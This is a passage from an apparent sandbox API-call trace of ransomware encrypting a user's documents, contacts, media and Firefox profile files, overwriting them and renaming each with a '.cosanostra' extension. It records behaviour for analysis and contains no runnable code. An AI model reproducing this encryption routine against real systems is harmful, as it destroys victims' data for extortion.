(lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\FcOoCM upt-urvH.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\fcoocm upt-urvh.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0098.022] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\FcOoCM upt-urvH.xlsx") returned 64 [0098.022] StrStrW (lpFirst="FcOoCM upt-urvH.xlsx", lpSrch=".txt") returned 0x0 [0098.022] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0098.023] WriteFile (in: hFile=0x180, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff354, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x26ff354*=0x2800, lpOverlapped=0x0) returned 1 [0098.023] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.023] WriteFile (in: hFile=0x180, lpBuffer=0x26ff394*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff354, lpOverlapped=0x0 | out: lpBuffer=0x26ff394*, lpNumberOfBytesWritten=0x26ff354*=0x4, lpOverlapped=0x0) returned 1 [0098.023] WriteFile (in: hFile=0x180, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff354, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x26ff354*=0x30, lpOverlapped=0x0) returned 1 [0098.023] CloseHandle (hObject=0x180) returned 1 [0098.023] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\FcOoCM upt-urvH.xlsx.cosanostra") returned 75 [0098.023] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\FcOoCM upt-urvH.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\fcoocm upt-urvh.xlsx"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\FcOoCM upt-urvH.xlsx.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\fcoocm upt-urvh.xlsx.cosanostra")) returned 1 [0098.024] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff398 | out: pbBuffer=0x26ff398) returned 1 [0098.024] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ff390*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ff390*=0x30) returned 1 [0098.024] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\eb9 s.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\eb9 s.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0098.025] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\eb9 s.xlsx") returned 54 [0098.025] StrStrW (lpFirst="eb9 s.xlsx", lpSrch=".txt") returned 0x0 [0098.026] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0098.026] WriteFile (in: hFile=0x180, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff354, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x26ff354*=0x2800, lpOverlapped=0x0) returned 1 [0098.026] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.026] WriteFile (in: hFile=0x180, lpBuffer=0x26ff394*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff354, lpOverlapped=0x0 | out: lpBuffer=0x26ff394*, lpNumberOfBytesWritten=0x26ff354*=0x4, lpOverlapped=0x0) returned 1 [0098.026] WriteFile (in: hFile=0x180, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff354, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x26ff354*=0x30, lpOverlapped=0x0) returned 1 [0098.026] CloseHandle (hObject=0x180) returned 1 [0098.026] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\eb9 s.xlsx.cosanostra") returned 65 [0098.026] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\eb9 s.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\eb9 s.xlsx"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\eb9 s.xlsx.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\eb9 s.xlsx.cosanostra")) returned 1 [0098.028] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff390 | out: pbBuffer=0x26ff390) returned 1 [0098.028] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ff388*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ff388*=0x30) returned 1 [0098.028] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0098.028] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\desktop.ini") returned 55 [0098.028] StrStrW (lpFirst="desktop.ini", lpSrch=".txt") returned 0x0 [0098.032] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xfffffe6e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0098.032] WriteFile (in: hFile=0x180, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x192, lpNumberOfBytesWritten=0x26ff34c, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x26ff34c*=0x192, lpOverlapped=0x0) returned 1 [0098.033] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.033] WriteFile (in: hFile=0x180, lpBuffer=0x26ff38c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff34c, lpOverlapped=0x0 | out: lpBuffer=0x26ff38c*, lpNumberOfBytesWritten=0x26ff34c*=0x4, lpOverlapped=0x0) returned 1 [0098.033] WriteFile (in: hFile=0x180, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff34c, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x26ff34c*=0x30, lpOverlapped=0x0) returned 1 [0098.033] CloseHandle (hObject=0x180) returned 1 [0098.033] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\desktop.ini.cosanostra") returned 66 [0098.033] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\desktop.ini"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\desktop.ini.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\desktop.ini.cosanostra")) returned 1 [0098.034] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff390 | out: pbBuffer=0x26ff390) returned 1 [0098.034] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ff388*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ff388*=0x30) returned 1 [0098.034] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CgLAz-yOQh3.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\cglaz-yoqh3.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0098.035] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CgLAz-yOQh3.pdf") returned 59 [0098.035] StrStrW (lpFirst="CgLAz-yOQh3.pdf", lpSrch=".txt") returned 0x0 [0098.036] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0098.036] WriteFile (in: hFile=0x180, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff34c, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x26ff34c*=0x2800, lpOverlapped=0x0) returned 1 [0098.036] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.036] WriteFile (in: hFile=0x180, lpBuffer=0x26ff38c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff34c, lpOverlapped=0x0 | out: lpBuffer=0x26ff38c*, lpNumberOfBytesWritten=0x26ff34c*=0x4, lpOverlapped=0x0) returned 1 [0098.036] WriteFile (in: hFile=0x180, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff34c, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x26ff34c*=0x30, lpOverlapped=0x0) returned 1 [0098.037] CloseHandle (hObject=0x180) returned 1 [0098.037] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CgLAz-yOQh3.pdf.cosanostra") returned 70 [0098.037] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CgLAz-yOQh3.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\cglaz-yoqh3.pdf"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CgLAz-yOQh3.pdf.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\cglaz-yoqh3.pdf.cosanostra")) returned 1 [0098.038] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff388 | out: pbBuffer=0x26ff388) returned 1 [0098.038] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ff380*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ff380*=0x30) returned 1 [0098.038] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1xi4.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1xi4.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0098.038] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1xi4.pdf") returned 52 [0098.038] StrStrW (lpFirst="1xi4.pdf", lpSrch=".txt") returned 0x0 [0098.039] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0098.039] WriteFile (in: hFile=0x180, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff344, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x26ff344*=0x2800, lpOverlapped=0x0) returned 1 [0098.040] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.040] WriteFile (in: hFile=0x180, lpBuffer=0x26ff384*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff344, lpOverlapped=0x0 | out: lpBuffer=0x26ff384*, lpNumberOfBytesWritten=0x26ff344*=0x4, lpOverlapped=0x0) returned 1 [0098.040] WriteFile (in: hFile=0x180, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff344, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x26ff344*=0x30, lpOverlapped=0x0) returned 1 [0098.040] CloseHandle (hObject=0x180) returned 1 [0098.040] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1xi4.pdf.cosanostra") returned 63 [0098.040] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1xi4.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1xi4.pdf"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1xi4.pdf.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1xi4.pdf.cosanostra")) returned 1 [0098.301] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff380 | out: pbBuffer=0x26ff380) returned 1 [0098.301] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ff378*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ff378*=0x30) returned 1 [0098.301] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\asdlfk poopvy.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\asdlfk poopvy.contact"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0098.302] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\asdlfk poopvy.contact") returned 64 [0098.302] StrStrW (lpFirst="asdlfk poopvy.contact", lpSrch=".txt") returned 0x0 [0098.303] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xfffffb6d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0098.303] WriteFile (in: hFile=0x180, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x493, lpNumberOfBytesWritten=0x26ff33c, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x26ff33c*=0x493, lpOverlapped=0x0) returned 1 [0098.303] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.303] WriteFile (in: hFile=0x180, lpBuffer=0x26ff37c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff33c, lpOverlapped=0x0 | out: lpBuffer=0x26ff37c*, lpNumberOfBytesWritten=0x26ff33c*=0x4, lpOverlapped=0x0) returned 1 [0098.304] WriteFile (in: hFile=0x180, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff33c, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x26ff33c*=0x30, lpOverlapped=0x0) returned 1 [0098.304] CloseHandle (hObject=0x180) returned 1 [0098.304] wnsprintfW (in: pszDest=0x3023418, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\asdlfk poopvy.contact.cosanostra") returned 75 [0098.304] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\asdlfk poopvy.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\asdlfk poopvy.contact"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\asdlfk poopvy.contact.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\asdlfk poopvy.contact.cosanostra")) returned 1 [0098.305] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff380 | out: pbBuffer=0x26ff380) returned 1 [0098.305] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ff378*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ff378*=0x30) returned 1 [0098.305] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Administrator.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\administrator.contact"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0098.305] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Administrator.contact") returned 64 [0098.305] StrStrW (lpFirst="Administrator.contact", lpSrch=".txt") returned 0x0 [0098.357] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0098.357] WriteFile (in: hFile=0x180, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff33c, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x26ff33c*=0x2800, lpOverlapped=0x0) returned 1 [0098.357] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.357] WriteFile (in: hFile=0x180, lpBuffer=0x26ff37c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff33c, lpOverlapped=0x0 | out: lpBuffer=0x26ff37c*, lpNumberOfBytesWritten=0x26ff33c*=0x4, lpOverlapped=0x0) returned 1 [0098.376] WriteFile (in: hFile=0x180, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff33c, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x26ff33c*=0x30, lpOverlapped=0x0) returned 1 [0098.376] CloseHandle (hObject=0x180) returned 1 [0098.376] wnsprintfW (in: pszDest=0x3023418, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Administrator.contact.cosanostra") returned 75 [0098.376] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Administrator.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\administrator.contact"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Administrator.contact.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\administrator.contact.cosanostra")) returned 1 [0098.378] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff378 | out: pbBuffer=0x26ff378) returned 1 [0098.378] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ff370*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ff370*=0x30) returned 1 [0098.378] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\mpzGGf-So.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mpzggf-so.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0098.378] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\mpzGGf-So.mp3") returned 63 [0098.378] StrStrW (lpFirst="mpzGGf-So.mp3", lpSrch=".txt") returned 0x0 [0098.379] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0098.379] WriteFile (in: hFile=0x180, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff334, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x26ff334*=0x2800, lpOverlapped=0x0) returned 1 [0098.379] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.379] WriteFile (in: hFile=0x180, lpBuffer=0x26ff374*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff334, lpOverlapped=0x0 | out: lpBuffer=0x26ff374*, lpNumberOfBytesWritten=0x26ff334*=0x4, lpOverlapped=0x0) returned 1 [0098.379] WriteFile (in: hFile=0x180, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff334, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x26ff334*=0x30, lpOverlapped=0x0) returned 1 [0098.379] CloseHandle (hObject=0x180) returned 1 [0098.687] wnsprintfW (in: pszDest=0x3023418, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\mpzGGf-So.mp3.cosanostra") returned 74 [0098.687] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\mpzGGf-So.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mpzggf-so.mp3"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\mpzGGf-So.mp3.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mpzggf-so.mp3.cosanostra")) returned 1 [0099.039] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff370 | out: pbBuffer=0x26ff370) returned 1 [0099.046] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ff368*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ff368*=0x30) returned 1 [0099.046] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\permissions.sqlite" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\permissions.sqlite"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0099.046] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\permissions.sqlite") returned 110 [0099.046] StrStrW (lpFirst="permissions.sqlite", lpSrch=".txt") returned 0x0 [0099.088] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0099.088] WriteFile (in: hFile=0x15c, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff32c, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x26ff32c*=0x2800, lpOverlapped=0x0) returned 1 [0099.089] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.089] WriteFile (in: hFile=0x15c, lpBuffer=0x26ff36c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff32c, lpOverlapped=0x0 | out: lpBuffer=0x26ff36c*, lpNumberOfBytesWritten=0x26ff32c*=0x4, lpOverlapped=0x0) returned 1 [0099.089] WriteFile (in: hFile=0x15c, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff32c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ff32c*=0x30, lpOverlapped=0x0) returned 1 [0099.089] CloseHandle (hObject=0x15c) returned 1 [0099.130] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\permissions.sqlite.cosanostra") returned 121 [0099.130] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\permissions.sqlite" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\permissions.sqlite"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\permissions.sqlite.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\permissions.sqlite.cosanostra")) returned 1 [0099.138] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff370 | out: pbBuffer=0x26ff370) returned 1 [0099.138] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ff368*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ff368*=0x30) returned 1 [0099.138] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\content-prefs.sqlite" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\content-prefs.sqlite"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0099.138] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\content-prefs.sqlite") returned 112 [0099.138] StrStrW (lpFirst="content-prefs.sqlite", lpSrch=".txt") returned 0x0 [0099.140] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0099.140] WriteFile (in: hFile=0x15c, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x2800, 